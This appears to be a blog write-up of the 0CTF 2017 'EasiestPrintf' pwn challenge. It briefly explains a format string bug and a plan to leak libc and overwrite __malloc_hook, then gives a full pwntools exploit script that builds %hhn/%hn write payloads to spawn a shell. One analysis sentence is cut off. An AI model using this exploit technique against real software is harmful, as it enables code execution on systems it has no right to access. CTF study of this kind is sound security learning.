0CTF 2017 Quals EasiestPrintf Write-up

Introduction

In this post, I want to give an example on how implicit malloc in printf can be applied to CTF challenges.

Vulnerability Analysis

There exists a very obvious string format vulnerability in this challenge. The attacker can input a string of size

Exploitation Plan

There are two printf functions in this challenge. Use the first one to leak the base address of libc and use the second one to pwn the shell.
Since the binary is compiled with FULL_RELRO in this challenge, we overwrite the _malloc_hook and trigger implicit malloc in printf to pwn the shell.

Exploit

from pwn import *
import time

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
	r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
	r = process("./ep");
elif(DEBUG == 2):
	r = process("./ep");
	gdb.attach(r, '''source ./script''');

def calculateOffset(target, currentLength):
	while(currentLength >= target):
		target = target + 0x100;

	requestedOffset = target - currentLength;
	return requestedOffset

def exploit():
	libc = ELF("./libc.so.6");
	r.recvuntil("you wanna read:");
	r.sendline(str(0x8049fc4));
	r.recvline();
	leak = r.recvline();
	leakedValue = int(leak, 16);
	log.info("leaked value: 0x%x" % leakedValue);
	libcBase = leakedValue - libc.symbols['read'];
	log.info("libc base address: 0x%x" % libcBase);

	sleep(1);

	mallocHookAddr = libcBase + 0x1a9408;
	writableAddr = 0x804A04C;

	value1 = libcBase + libc.symbols['system'] ;
	value2 = u32( 'sh'.ljust(4, '\x00'));
	log.info("value1 : 0x%x", value1);
	log.info("value2 : 0x%x", value2);

	payload = p32(mallocHookAddr);
	payload += p32(mallocHookAddr + 1);
	payload += p32(mallocHookAddr + 3);
	payload += p32(writableAddr);
	payload += p32(writableAddr + 1);
	payload += p32(writableAddr + 2);
	payload += p32(writableAddr + 3);

	curLength = len(payload);
	value = value1 & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%7$hhn"

	value = (value1>>8) & 0xffff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%8$hn"
	
	value = (value1>>24) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%9$hhn"


	value = value2 & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%10$hhn";

	value = (value2>>8) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%11$hhn";

	value = (value2>>16) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%12$hhn";

	value = (value2>>24) & 0xff;
	offset = calculateOffset(value, curLength);
	curLength = curLength + offset;
	payload += "%" + str(offset) + "c" + "%13$hhn";

	payload += "%" + str(writableAddr-32) +"s";
	r.sendline(payload);
	r.interactive();

exploit();

Reference

[1] http://blog.dragonsector.pl/2017/03/0ctf-2017-easiestprintf-pwn-150.html

Advertisements
Categories: pwn

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.